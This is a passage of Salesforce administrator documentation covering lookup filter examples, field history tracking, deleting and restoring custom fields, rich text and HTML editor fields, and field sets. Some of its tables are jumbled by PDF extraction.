4. Specify whether the filter is required or optional. For fields with optional lookup filters, only values that match the lookup filter criteria appear in the lookup dialog initially; however, users can click the Show all results link in the lookup dialog to remove the filter and view all search result values for the lookup field. Also, optional lookup filters allow users to save values that don't match the lookup filter criteria, and Salesforce does not display an error message if a user tries to save such values. For required lookup filters, specify whether you want Salesforce to display the standard error message or a custom message when a user enters an invalid value. 5. Optionally, enter text to display in the lookup search dialog. Consider text that guides users in their searches and explains the business rule that the lookup filter implements. 6. Leave Active selected. 7. Click Save. Important: When creating a lookup filter on a master-detail relationship field, verify that the current values of the field on all of the detail records meet the criteria you specify. If you specify criteria that an existing value doesn't meet, Salesforce prevents the user from saving changes to the detail record. If this occurs, the user must first modify the value on the master record to meet the criteria. For example, consider a custom object with a master-detail relationship field that points to accounts. If you define a lookup filter that excludes all accounts with a Create Date before 01/01/2009, verify that no existing records of that custom object have a master-detail relationship with any account created before 2009. A quick way to do this is to create a report that shows all accounts with a Create Date before 01/01/2009. If at some point you no longer need this lookup filter, return to this page and do one of the following: Deactivate the lookup filter Deactivating a lookup filter preserves the lookup filter configuration but: Prevents it from applying to the relationship field Prevents it from impacting the cross-object references limit Removes it as a dependency for fields referenced in the lookup filter criteria

To deactivate the lookup filter, deselect Active, then click Save. Delete the lookup filter Deleting a lookup filter permanently removes it. You cannot recover deleted lookup filters. To delete the lookup filter, click Clear Filter Criteria, then click Save.

1113

Customize

About Custom Fields

Viewing a List of Lookup Filters for a Target Object You can quickly see a list of all of the lookup filters that restrict the values of each target object. This is useful when creating similar filters for a target object. Also, lookup filters that reference fields on related objects count against the cross-object reference limit, which is the number of unique relationships allowed for a target object. The Related Lookup Filters list lets you see which lookup filters might impact that limit. To see which lookup filters affect the limit for a particular target object: For standard objects, click Your Name > Setup > Customize, select the object from the Customize menu, and click Related Lookup Filters. For custom objects, click Your Name > Setup > Create > Objects, select one of the custom objects in the list, and scroll to the Related Lookup Filters related list.

See Also:
About Lookup Filters Notes on Lookup Filters About Dependent Lookups Lookup Filter Examples Editing Fields Tip sheet: Creating Lookup Filters on Relationship Fields

Lookup Filter Examples


Available in: All Editions except for Database.com.

User Permissions Needed To define lookup filters: "Customize Application"

Record Types in Lookup Filters If the value of a relationship field should only consist of records with a particular record type, specify the record type in a lookup filter. For example, if the Account Name field on opportunities should only have accounts with a Customer Account custom record type, define the following lookup filter to restrict users to only creating or editing opportunities associated with accounts that have a Customer Account record type, excluding accounts with Partner Account and Competitor Account record types: Filter Criteria
Account Name: Account Record Type equals value Customer Account

Custom Error Message Account does not exist or is not a customer account. Lookup Window Text You can only associate customer accounts to an opportunity. Search results only display customer accounts.

1114

Customize

About Custom Fields

Record Status in Lookup Filters If the value of a relationship field should only consist of records with particular status, specify the status in a lookup filter. For example, consider a Job Application object with a relationship field that points to the Position object. If the relationship field should only have open positions, define the following lookup filter to restrict users to only creating or editing job applications for positions with the Status field set to Open: Filter Criteria
Position: Status equals value Open

Custom Error Message Position does not exist or is not an open position. Lookup Window Text You can associate only open positions with job applications. Search results display open positions only. Profiles in Lookup Filters When a business rule does not apply to users with every profile, use the Current User Profile global variable fields to define lookup filters that only affect users with a particular profile. For example, the following lookup filter on the Case object Account Name field restricts users with a Domestic Sales profile to only creating or editing opportunities associated with accounts that have a billing country of USA while allowing other users to associate opportunities with any account: Filter Criteria 1. Current User Profile: Name equals value Domestic Sales 2. Account Name: Billing Country equals value USA 3. Current User Profile: Name not equal to value Domestic Sales Filter Logic
(1 AND 2) OR 3

Custom Error Message Account does not exist or the account billing country is not USA. Domestic sales reps can only create opportunities for accounts in the United States. Lookup Window Text Search results show only United States accounts in the for domestic sales representatives. You can modify the above example to simultaneously restrict users with a Global Sales custom profile to only associating opportunities to accounts with a non-US billing country: Filter Criteria 1. 2. 3. 4. 5.
Current Account Current Account Current User Profile: Name: Billing User Profile: Name: Billing User Profile: Name equals value Global Sales Country not equal to value USA Name equals value Domestic Sales Country equals value USA Name not equal to value Global Sales, Domestic Sales

1115

Customize

About Custom Fields

Filter Logic
(1 AND 2) OR (3 AND 4) OR 5

Custom Error Message Account does not exist or the account billing country is not in your sales area. Sales reps can only create opportunities for accounts in their sales area. Lookup Window Text Search results only display accounts in your region. Important: If you do not include line 5 in the filter criteria, users who are not in Global Sales or Domestic Sales cannot select or save any values on account records.

Roles in Lookup Filters When a business rule does not apply to users in every role, use the Current User Role global variable fields to define lookup filters that only affect users with particular roles. For example, in a recruiting application that has a Position object with a lookup field to a Compensation Package object, you can restrict users from editing or creating positions that have an executive compensation plan unless they are executive administrators or vice presidents. To do this, define the following lookup filter on the Position object Compensation Package Name field: Filter Criteria 1. 2. 3. 4. 5.
Current User Current User Compensation Current User Current User Role: Name does not start with value VP Role: Name does not equal value Executive Administrator Package: Plan Type does not equal value Executive Role: Name starts with value VP Role: Name equals value Executive Administrator

Filter Logic
((1 OR 2) AND 3) OR (4 OR 5)

Custom Error Message The compensation plan does not exist, or you have selected an executive compensation plan but do not have access to create executive positions. Lookup Window Text Search results only display compensation plans that are relevant to positions you are allowed to create. Important: Include the condition you are testing and the opposite condition. In this example, lines 1, 2, and 3 of the filter criteria ensure that users who are not VPs or Executive Administrators cannot select Executive compensation plans, while lines 4 and 5 ensure that VPs and Executive Administrators can select Executive compensation plans. Blank Values in Lookup Filters Your lookup filter criteria might reference a field that users often leave blank. You can design your lookup filter criteria to accept blank values by using the Add Filter Logic in the filter criteria to create an OR condition. For example, if you have a Partner Contact custom field on opportunities, restrict the field to only allow contacts that are associated to an account with a Partner Account record type, or private contacts not associated with any account.

1116

Customize

About Custom Fields

Filter Criteria 1. Partner Contact: Account: Account Record Type equals value Partner Account 2. Partner Contact: Account: Account Name equals value Filter Logic
1 OR 2

Custom Error Message The partner contact must be associated with a partner account, or must be a private contact. Lookup Window Text Search results only display contacts from partner accounts or your private contacts. User IDs in Lookup Filters Using user IDs in optional lookup filters can significantly improve user efficiency by first showing lookup search dialog results that are most relevant to the user while still allowing users to see all results if necessary. For example, on a lookup field to accounts, you can create an optional lookup filter that restricts the search results to accounts that the user owns in the search lookup dialog results. If the user is looking for an account that someone else owns, the user can remove the filter. Filter Criteria
Current User: User ID equals Field Account: Owner ID

Lookup Window Text By default, search results only display accounts you own. To search all accounts, click Show all results. Simple Dependent Lookups If the value of a relationship field should depend on the value of another relationship field on the current record, specify the field to field comparison in the criteria. For example, if the case Contact Name field should only have contacts associated to the account specified in the case Account Name field, use the following lookup filter: Filter Criteria
Contact Name: Account ID equals field Case: Account ID

Custom Error Message Contact does not exist or is not associated to the case account. Lookup Window Text Search results only display contacts associated to the case account. Note: When comparing lookup fields in lookup filter criteria, Salesforce always uses the ID of the relationship field, not the name.

Complex Lookup Filters and Dependent Lookups Achieving complex business rules with lookup filters often involves combing your rules with filter logic and fields of various types. For example, consider an app for booking conference rooms that has the following data model:

1117

Customize

About Custom Fields

Object Meeting

Fields
Meeting Name Office lookup to the Office object Projector Required checkbox Number of Participants number field Conference Room lookup to the Conference Room

object Conference Room


Conference Room Name Has Projector checkbox Number of Seats Available number field Conference Room Location lookup to the Office

object Office
Office Name

The following lookup filter on the meeting Conference Room field restricts the valid values to conference rooms that have a projector if the meeting requires one, as well as the necessary number of seats: Filter Criteria 1. Meeting: Projector Required equals field Meeting Conference Room: Has Projector 2. Meeting: Projector Required equals value False 3. Conference Room: Number of Seats Available greater or equal field Meeting: Number
of Participants

Filter Logic
(1 OR 2) AND 3

Custom Error Message Conference room not found or is insufficient for your meeting. Lookup Window Text Search results only display conference rooms that can support your meeting requirements. To refine the valid values even further, incorporate the office where the conference room is located: Filter Criteria 1. Meeting: Projector Required equals field Meeting Conference Room: Has Projector 2. Meeting: Projector Required equals value False 3. Conference Room: Number of Seats Available greater than field Meeting: Number of
Participants 4. Meeting: Office equals Field Conference Room: Conference Room Location

Filter Logic
(1 OR 2) AND 3 AND 4

1118

Customize

About Custom Fields

Custom Error Message Conference room not found or is insufficient for your meeting. Lookup Window Text Search results only display conference rooms that can support your meeting requirements.

See Also:
About Lookup Filters Notes on Lookup Filters About Dependent Lookups Defining Lookup Filters Editing Fields Tip sheet: Creating Lookup Filters on Relationship Fields

Tracking Field History


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Standard Objects are not available in Database.com

You can select certain custom and standard fields to track on the History related lists of custom objects and the following standard objects: Accounts Cases Contacts Entitlements Service contracts Contract line items Contracts Leads Opportunities Solutions Note: Certain changes, such as case escalations, are always tracked.

Modifying any of these fields adds a new entry to the History related list. All entries include the date, time, nature of the change, and who made the change. History data does not count against your organizations storage limit. Note that not all field types are available for history tracking.

1119

Customize

About Custom Fields

Note: Changes to fields with more than 255 characters are tracked as edited, and their old and new values are not recorded.

Considerations Tracked field values are not automatically translated; they display in the language in which they were made. For example, if a field is changed from Green to Verde, Verde is displayed no matter what a users language is, unless the field value has been translated into other languages via the Translation Workbench. This also applies to record types and picklist values. Changes to custom fields that have been translated via the Translation Workbench are shown in the locale of the user viewing the History related list. For example, if a custom field is Red and translated into Spanish as Rojo, then a user with a Spanish locale will see the custom field label as Rojo. Otherwise, the user will see the custom field label as Red. Changes to date fields, number fields, and standard fields are shown in the locale of the user viewing the History related list. For example, a date change to August, 8, 2005 shows as 8/5/2005 for a user with the English (United States) locale, and as 5/8/2005 for a user with the English (United Kingdom) locale.

See Also:
Tracking Field History for Standard Objects Tracking Field History for Custom Objects Methods for Archiving Field History Disabling Field History Tracking

Tracking Field History for Standard Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Standard Objects are not available in Database.com

User Permissions Needed To set up which fields are tracked: Customize Application

If you use both business accounts and person accounts, review the following before enabling account field history tracking: Field history tracking for accounts affects both business accounts and person accounts. Enabling field history tracking on person accounts does not enable field history tracking on personal contacts.

To set up field history tracking: 1. Click Your Name > Setup > Customize. 2. Select the object you want to configure. 3. Click Fields > Set History Tracking. Note: When you enable tracking for an object, be sure to customize your page layouts to include the objects history related list.

1120

Customize

About Custom Fields

For more information, see Customizing Page Layouts on page 1311. 4. For accounts, contacts, leads, and opportunities, select the Enable Account History, Enable Contact History, Enable Lead History, or Enable Opportunity History checkbox. 5. Choose the fields you want tracked. You can select a combination of up to 20 standard and custom fields per object. This limit includes fields on business accounts and person accounts. Certain changes, such as case escalations, are always tracked. You cant track the following fields: Formula, roll-up summary, or auto-number fields Created By and Last Modified By Expected Revenue field on opportunities Master Solution Title or the Master Solution Details fields on solutions; these fields display only for translated solutions in organizations with multilingual solutions enabled.

6. Click Save. Salesforce tracks history from this date and time forward. Changes made prior to this date and time are not included.

See Also:
Methods for Archiving Field History Disabling Field History Tracking About Custom Fields Deleting Fields

Tracking Field History for Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Standard Objects are not available in Database.com

User Permissions Needed To set up which fields are tracked: Customize Application

To track field history for custom objects: 1. Click Your Name > Setup > Create > Objects. 2. Click Edit next to the name of the custom object. 3. Select the Track Field History checkbox.

1121

Customize

About Custom Fields

Note: When you enable tracking for an object, be sure to customize your page layouts to include the objects history related list. For more information, see Customizing Page Layouts on page 1311. 4. Click Save. 5. Click Set History Tracking in the Custom Fields & Relationships section. This section allows you to set a custom objects history for both standard and custom fields. 6. Choose the fields you want tracked. You can select a combination of up to 20 standard and custom fields per object. You cant track: Formula, roll-up summary, or auto-number fields Created By and Last Modified By

7. Click Save. Salesforce tracks history from this date and time forward. Changes made prior to this date and time are not included.

See Also:
Methods for Archiving Field History Disabling Field History Tracking About Custom Fields Deleting Fields

Methods for Archiving Field History


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Standard Objects are not available in Database.com

Field history is stored for 18 months. To archive field history, you can use one of the following options: Schedule a regular export of FieldHistory data. Export an object-specific field history report to a CSV file. Run a query using the Web Services API and save your results.

See Also:
Tracking Field History for Standard Objects Tracking Field History for Custom Objects Disabling Field History Tracking About Custom Fields Deleting Fields

1122

Customize

About Custom Fields

Disabling Field History Tracking


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Standard Objects are not available in Database.com

User Permissions Needed To set up which fields are tracked: Customize Application

Note: You cannot disable field history tracking for an object if a field on the object is referenced in Apex. For more information, see Apex Code Overview on page 2086. 1. Select the object whose field history tracking you want to disable. a. For standard objects, click Your Name > Setup > Customize. b. For custom objects, click Your Name > Setup > Create > Objects. 2. Deselect the Track Field History checkbox. If you deselect the checkbox, the History related list is automatically removed from the associated objects page layouts. If you disable field history tracking on a standard object, you can still report on its history data up to the date and time that you disabled tracking. If you disable field history tracking on a custom object, then you cannot report on its field history.

See Also:
Tracking Field History for Standard Objects Tracking Field History for Custom Objects Methods for Archiving Field History About Custom Fields Deleting Fields

Viewing Fields
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Standard Fields are not available in Database.com

1. Navigate to the fields page. For standard objects, click Your Name > Setup > Customize, select the appropriate object, and click Fields. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.

1123

Customize

About Custom Fields

For custom settings, click Your Name > Setup > Develop > Custom Settings, and click the name of the custom setting.

2. Click the name of the field. 3. To modify a custom field or change the data type, click Edit. See Changing Custom Field Type. 4. To set users' access to the field, click Set Field-Level Security. Available in Enterprise, Unlimited, and Developer Edition organizations only. 5. To view who can access the field based on permissions and record type, click View Field Accessibility. Available in Enterprise, Unlimited, and Developer Edition organizations only. 6. If the field is a dependent picklist, view a list of the controlling fields on which it depends. Click New to define a dependent picklist. Click Edit to change the picklist dependency rules or Del to remove the picklist dependency. See Defining Dependent Picklists. 7. If the custom field is a dependent picklist, click [Change] next to the controlling field to edit the picklist dependency rules. 8. To create a new validation rule for the field, click New in the Validation Rules related list. Click Edit to change a validation rule or Del to remove it. See Defining Validation Rules. 9. For picklist fields, you can add new values and edit, replace, or delete existing values. See Additional Options for Updating Picklists. 10. To change External ID, Required, or other attributes under the General Options section, see Custom Field Attributes. 11. To restore the field and its data, click Undelete. This is available only if the field has been deleted but not permanently erased. The field's behavior may be different after restoring it. To restore the field completely, see Managing Deleted Custom Fields. Note: If your organization uses person accounts, the Account Fields page lists both person account and business account fields. Person accounts use a combination of account and contact fields. The following contact fields are available for person accounts: Fields in the Account Standard Fields list that display with a person account icon. Fields in the Contact Custom Fields & Relationships list.

These contact fields are not available for business accounts. To customize these fields, go to Your Name > Setup > Customize > Contacts > Fields. For more information, see What is a Person Account?.

See Also:
Customizing Fields Custom Settings Overview

1124

Customize

About Custom Fields

Deleting Fields
Available in: All Editions

User Permissions Needed To delete custom fields: Customize Application

To delete a custom field: 1. 2. 3. 4. For standard objects, click Your Name > Setup > Customize, select the appropriate object, and click Fields. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list. Click Del next to the name of the field. When prompted, select the Yes, I want to delete the custom field checkbox to confirm, and click Delete. Deleted custom fields and their data are stored until your organization permanently deletes them or 15 days has elapsed, whichever happens first. Until that time, you can restore the field and its data. For information on restoring deleted custom fields and relationships, see Managing Deleted Custom Fields on page 1126. Note: Before deleting a custom field, consider where it is referenced. You cant delete a custom field that is referenced elsewhere. For example, you cannot delete a custom field that is referenced by a field update or Apex. When you delete a custom field, all of the field history data is deleted and changes are no longer tracked. A background process periodically runs that cleans up metadata associated with deleted custom fields. This process will affect the Last Modified Date and Last Modified By fields on page layouts, record types, and custom objects.

See Also:
Tracking Field History

1125

Customize

About Custom Fields

Managing Deleted Custom Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Page Layouts and Lead Fields are not available in Database.com

User Permissions Needed To restore deleted custom fields and relationships: To permanently delete custom fields or relationships: Customize Application Customize Application

Deleted custom fields and their data are stored until your organization permanently deletes them or 15 days has elapsed, whichever happens first. Until that time, you can restore the field and its data. However, the field still counts against the maximum number of custom fields allowed in your organization. To view a list of the maximum number of custom fields and relationships allowed in your organization, see Salesforce Editions and Limits on page 2182. To view a list of your deleted custom fields and relationships: 1. For standard objects, click Your Name > Setup > Customize, select the appropriate object, and click Fields. 2. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list. 3. Click Deleted Fields at the bottom of the list of custom fields and relationships. The number in parentheses indicates the total number of deleted custom fields for this object. This link only displays when you have a deleted custom field. 4. Use the list of deleted fields to perform the following actions: To view details about a field, click the field label. To permanently remove the custom field and its data, click Erase. To restore the field and its data, click Undelete. Some attributes of deleted fields are not restored automatically. To restore these attributes manually: a. Add the field to any page layouts that changed during the time the custom field was deleted. If reports and page layouts were not edited, the restored field remains on them. b. Make the field unique if necessary. Salesforce automatically removes the unique attribute from any deleted custom field. c. Make the field required if necessary. Salesforce automatically removes the required attribute for any deleted custom field. d. Add the custom field to any appropriate Force.com AppExchange packages. Salesforce automatically removes deleted custom fields from packages that contain them. e. Convert any lookup relationships to master-detail relationships if necessary. Salesforce converts all relationships to lookup relationships when they are deleted. To convert a lookup relationship to a master-detail relationship, populate all the applicable records with the appropriate data. f. Redefine any field dependencies that Salesforce removed when the field was deleted. g. Edit and save any formula fields, prompting a syntax check that you may have to resolve. h. Set up field history tracking if necessary. If the list of fields enabled for history tracking has been modified during the time the custom field was deleted, the restored field is no longer set up to track field history.

1126

Customize

About Custom Fields

Notes on Restored Custom Fields The following characters are appended to the end of a custom field's developer name when it is deleted unless a deleted field already has that developer name: _del. These characters remain when you restore the custom field. Formula fields are restored in a disabled state, which means they do not contain updated data until you edit and save them. While a formula field is disabled, #Error! displays in place of the formula value. Restored fields do not display in search results immediately after you restore them. It may take a short time before the restored custom field and its data are available in search results. Lead fields that are mapped to account, contact, or opportunity fields for lead conversion are still mapped accordingly when restored. Auto number fields continue to increment after they are deleted and contain the correct values when restored. Field history data for the deleted custom field is restored.

Additional Custom Field Options


Changing Page Layouts To change the location of a new custom field, edit the page layout for the appropriate tab. See Managing Page Layouts on page 1309. Using Record Types If your organization uses record types, edit the record type to modify which picklist values are visible for the record type. See Managing Record Types on page 1300. Tracking Custom Field History You can select which custom fields to track on the History related list of cases, solutions, and contracts. All entries include the date, time, nature of the change, and who made the change. History data does not count against your organizations storage limit. See Tracking Field History for Standard Objects on page 1120. Using the Translation Workbench If your organization uses the Translation Workbench, notify your translators that new fields need translations. For more information, see Setting Up the Translation Workbench on page 492. Activity Custom Fields Activity custom fields can apply only to tasks or only to events, or to both tasks and events. For example, you can create one Time Spent field and then add it to both the event page layout and the task page layout. Mapping Custom Lead Fields For lead custom fields, you can click Map Lead Fields to specify which custom lead fields to map to custom account, contact, and opportunity fields during a lead conversion. See Mapping Custom Lead Fields on page 1381.

See Also:
Changing Custom Field Type

1127

Customize

About Custom Fields

Using Rich Text Area Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create or change custom fields: "Customize Application"

To improve the appearance of text, including adding images and hyperlinks, create rich text area custom fields. Rich text area fields use the Salesforce HTML editor to format content. Implementation Tips Before creating rich text area custom fields, note the following: Salesforce supports up to 32,768 characters for each rich text area field, including the HTML tags. If desired, you can set a lower limit. When you view or print content, Salesforce preserves the formatted version of the HTML in rich text area fields. Searches of content that contains rich text area fields ignore images and tags. Deleting a rich text area field moves it to the Deleted Fields section on the custom object or Salesforce Knowledge article types. There are no limits to the number of rich text area and long text area fields that an object can contain, although your Edition's limit for the total number of custom fields allowed on an object, regardless of field type, applies. Each object can contain a total of 1.6 million characters across long text area and rich text area fields. The default character limit for long text area and rich text area fields is 32,768 characters. A long text area or rich text area field needs to contain at least 256 characters. Maximum size for uploaded images is 1 MB. Only .gif, .jpg and .png file types are supported. You can only convert rich text area fields into long text area fields. Any images are deleted the next time the long text area field is saved. After converting, markup is hidden in the long text area field but it is not removed from the record until you save the record. That way, the markup can be restored if you change your mind. You can't add a hyperlink to an image. There is no support for disabling specific rich text area features. For example, you can't disable support for hyperlinks or images on certain fields. HTML code is not supported in the Salesforce HTML editor. HTML code is treated as text. JavaScript or CSS is treated as text. For example, if you're creating an Idea through the API, any JavaScript or CSS code is removed without warning. If you're creating an Idea through the API, some tags and attributes are filtered without warning. Salesforce supports a limited number of approved HTML tags. Rich text area fields can be filtered and summarized in reports, but the HTML tags are included as text. Only the first 254 characters in a rich text area or a long text area are displayed in a report. If you download the report, the entire field is available. When a rich text area field is used in a formula, the HTML tags are stripped out before the formula is run. For example, when a rich text area field is used in a validation rules criteria, the HTML tags are removed before the evaluation. Rich text area fields aren't available in self service portals. They are available in partner portals and customer portals. Images uploaded within a rich text area field are extracted in the organization's weekly export and included in the exported data.

1128

Customize

About Custom Fields

The mobile application treats the rich text area field like a long-text area field, which doesn't support formatted HTML content and images. The mobile application truncates the field at 1,000 characters, and the 1,000 character limit includes HTML markup. Administrators should consider removing rich text area fields from mobile page layouts. If a mobile user edits a rich text area field containing an existing text entry over 1,000 characters, the mobile application will truncate the text in the field. The text part of rich text area fields counts towards data storage for the entity that contains the field. The uploaded images within the rich text area fields are counted towards file storage for the entity that contains the field. The rich text area field is available in the API. You can copy and paste text from external sources such as Microsoft Word, but you may have to reapply formatting.

Best Practices You can specify how big the editor box should be for this field by configuring the Number of lines displayed property in the fields setup. We recommend using the rich text area field in a one column page layout; the field's formatting toolbar is ideal for a single column. To upload many images, use the API version 20 or later. For more information, see Configuring the Data Loader to Use the Bulk API and the Force.com SOAP API Developer's Guide. Note: When uploading images with the API, the alt attribute is not populated unless specified separately.

See Also:
Creating Custom Fields Adding Custom Fields to Article Types

Using the HTML Editor


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change custom fields: "Customize Application"

To improve the appearance of text in custom fields, use the Salesforce HTML editor to format custom fields that were defined with the rich text area custom field type. The Salesforce HTML editor provides a WYSIWYG interface, allowing you to perform basic formatting operations. You can: Format text as bold, italicized, or underlined Create bulleted and numbered lists Change paragraph indentation Insert hyperlinks to Web pages Insert an image

1129

Customize

About Custom Fields

Some features, such as Salesforce Knowledge or Ideas, let administrators enable extra functions like the ability to embed multimedia content, use drop-down lists, or select colors for text or backgrounds. Make sure that your browser security settings allow you to access these functions. For example, if browser security is set to high in Internet Explorer 7, <iframe> content does not appear in the frame, drop-down lists are unavailable, and color cannot be selected for backgrounds or text. Common scenarios for the HTML editor include: Adding a video to a knowledge article or an Idea Themes posting. Formatting resumes submitted by job candidates to create more readable and professional-looking versions for your users Emphasizing key points in a Description or Comments field by setting various font options, such as bold typeface and a larger font size Itemizing steps in a numbered or bulleted list to help users better understand a procedure Supporting your company's brand identity by specifying the URL of a logo on your website Including a link to a related and accessible page of your company's website

Notes on Using the Salesforce HTML Editor When you use the editor, note the following: Because the Salesforce HTML editor provides a WYSIWYG interface only, you do not edit HTML tags. If you copy content from a Web page and paste it into the editor's window, Salesforce automatically removes unsupported tags and may preserve the text that was enclosed in unsupported tags as plain text. Note that Salesforce does not notify users when it removes unsupported or potentially malicious HTML. The maximum number of characters you can enter in the Salesforce HTML editor window is equal to the field length specified when creating or editing the field. The default is 32,768 characters. When clicked, hyperlinks open in a new browser window. The Salesforce HTML editor supports HTTP, HTTPS, and mailto hyperlinks. When a record is saved, the Salesforce HTML editor does not validate hyperlinks to Web pages. Be sure to confirm that you are specifying a URL that Salesforce can access. To insert an image, click and either select:

Web Address tab and enter the URL of the image. Upload Image tab and select an image from your localhost. You can only upload JPEG, PNG or GIF. The image you select cannot exceed 1 Megabyte. You can't add a hyperlink to an image. Optionally, enter a description that appears when a user hovers over the image. The image must have a URL that Salesforce can access. The Salesforce HTML editor supports all languages that Salesforce Knowledge supports. The Salesforce HTML editor does not support JavaScript or Cascading Style Sheets (CSS). The Salesforce HTML editor is disabled for users who have accessibility mode enabled; it's replaced with a text box. This text box only accepts HTML and does not recognize plain text entries like carriage returns. To separate content, you must use paragraph or line break HTML tags.

Supported HTML Tags and Attributes The Salesforce HTML editor supports the tags listed in the following table.
<a> <abbr> <acronym> <dt> <em> <font> <q> <samp> <small>

1130

Customize

About Custom Fields

<address> <b> <bdo> <big> <blockquote> <br> <caption> <cite> <code> <col> <colgroup> <dd> <del> <dfn> <div> <dl>

<h1> <h2> <h3> <h4> <h5> <h6> <hr> <i> <img> <ins> <kbd> <li> <ol> <p> <pre>

<span> <strike> <strong> <sub> <sup> <table> <tbody> <td> <tfoot> <th> <thead> <tr> <tt> <ul> <var>

The tags can include the following attributes:


alt background border class colspan face height href name rowspan size src style target width

The attributes can include URLs that begin with the following:
http: https: file: ftp: mailto: #

1131

Customize

About Custom Fields

/ for relative links

See Also:
Using Rich Text Area Fields Enabling Accessibility Mode Adding Videos Using the HTML Editor

Adding Videos Using the HTML Editor


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change custom fields: "Customize Application"

Before you can add videos to the HTML editor, make sure that your browser security settings allow you to embed multimedia content. Some browser security settings can block <iframe> elements. For example, if browser security is set to high in Internet Explorer 7, <iframe> content does not appear in the frame. When the option to embed multimedia content is enabled during the setup of your application, users can cut and paste <iframe> HTML elements into the editor using one of two options: 1. Copy the <iframe> element from one of the approved video sites. Approved sites include Dailymotion, Vimeo, or YouTube. 2. Paste the code into the HTML editor by clicking one of these buttons:
Option Description Lets you paste the <iframe> element into a text box on the Embed Multimedia Content dialog box. The frame and its contents are added to the editor window. Lets you paste the <iframe> element directly into the HTML code.

3. Click Save.

See Also:
Using the HTML Editor

1132

Customize

About Field Sets

About Field Sets


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

Note: This release contains a beta version of field sets that is production-quality but has known limitations.

A field set is a grouping of fields. For example, you could have a field set that contains fields describing a user's first name, middle name, last name, and business title. When a field set is added to a Visualforce page, developers can loop over its fields and render them. If the page is added to a managed package, administrators can add, remove, or reorder fields in a field set to modify the fields presented on the Visualforce page without modifying any code. The same Visualforce page can present different sets of information, depending on which fields a subscriber prefers to keep. As an administrator, you can create or edit field sets for your organization, or edit any installed field set. Field sets are available on all standard objects that support custom fields, and any organization that supports creating Visualforce pages. Fields added to a field set can be in one of two categories: If a field is marked as Available for the Field Set, it exists in the field set, but the developer hasnt presented it on the packaged Visualforce page. Administrators can display the field after the field set is deployed by moving it from the Available column to the In the Field Set column. If a field is marked as In the Field Set, the developer has rendered the field on the packaged Visualforce page by default. Administrators can remove the field from the page after the field set is deployed by removing it from the In the Field Set column.

When you install a field set from a package, the fields in your field set may be modified from a later package upgrade. The following table lists the impact on your field set after a package upgrade: If a package developer: Changes a field from Unavailable to Available for the Field Set or In the Field Set Adds a new field Changes a field from Available for the Field Set or In the Field Set to Unavailable Changes a field from In the Field Set to Available for the Field Set (or vice versa) Then in the package upgrade: The modified field is placed at the end of the upgraded field set in whichever column it was added to. The new field is placed at the end of the upgraded field set in whichever column it was added to. The field is removed from the upgraded field set. The change is not reflected in the upgraded field set.

1133

Customize

About Field Sets

Note: Merging has the potential to remove fields in your field set.

See Also:
Creating and Editing Field Sets Field Sets Required Bit Creating Custom Fields Developer's Guide: Visualforce Developer's Guide Implementation guide: Force.com Quick Reference for Developing Packages.

Creating and Editing Field Sets


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Note: This release contains a beta version of field sets that is production-quality but has known limitations.

Salesforce has a drag-and-drop WYSIWYG tool for creating and editing field sets The enhanced field sets editor is enabled by default, and provides all of the functionality of the original editor, as well as additional functionality and an easier-to-use WYSIWYG interface. To create a new field set: 1. Navigate to the field set list of the appropriate object: For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu, and click Field Sets. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list. Then click New above the field sets related list.

2. Enter a Field Set Label. This is the name presented to subscribers who install the field through a managed package. 3. Enter a Field Set Name for your field set. This is used by your Visualforce page to reference the field set. 4. In the Where is this used? area, provide a brief description of which Visualforce pages use the field set, and for what purpose. This information helps a subscriber understand where and how an installed field set is being used, so that they can populate it with their own fields. 5. Click Save. 6. To add fields to the field set, drag the fields from the object palette and drop them into the Available for the Field Set or the In the Field Set container. The fields in the Available for the Field Set container are not initially visible on the Visualforce page. The fields within the In the Field Set container are visible by default on a Visualforce page. Note: In the field set, you can span to fields that reference multiple objects. When you span a field into a field set that references multiple objects, the only field you can span to is the Name object.

1134

Customize

About Field Sets

To move a field between the lists, drag and drop a field from one container to the other. The vertical order of the In the Field Set list indicates the order of how the fields render on Visualforce pages. 7. To remove a field from the field set, drag the element back to the object palette, or click the 8. To make a field required, double click the element or click the wrench icon ( checkbox. Note: icon next to the element. ) next to it and select the Required

Indicates the field is required and must have a value to save the record.

9. Click Save. Important: The total number of cross object spans within the In the Field Set container can't exceed 25.

After a field set is deployed in your organization, you can always mark fields that are in the Available for the Field Set list as In the Field Set, or vice versa. To do so: 1. Find the field set that you want to edit by going to Your Name > Setup > Installed Packages, clicking on an installed package, and then clicking on the field set you want to edit. Alternatively, if you know which object contains the field set you want to edit, go to the object detail page and click Edit in the field set related list. 2. If you didn't create the field set initially, you'll only be able to edit the fields within the field set. To move fields between containers, drag and drop a field from one container to the other. To change the order of a rendered field, drag a field up or down the list and drop the field in the order you want it to appear. 3. Click Save.

Field Sets Required Bit


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

Note: This release contains a beta version of field sets that is production-quality but has known limitations.

You can define a field as required when you create or edit field sets. You may want to define a field as required to ensure a user enters the necessary information on a field. The required field is only available in the In the Field Set container. If you define a field as required in the In the Field Set container, and remove the field from the In the Field Set, the required attribute is removed. To define a field as required in a field set, see Creating and Editing Field Sets on page 1134

See Also:
About Field Sets Creating and Editing Field Sets

1135

Customize

About Formulas

About Formulas
Available in: All Editions Reports and Approvals are not available in Database.com

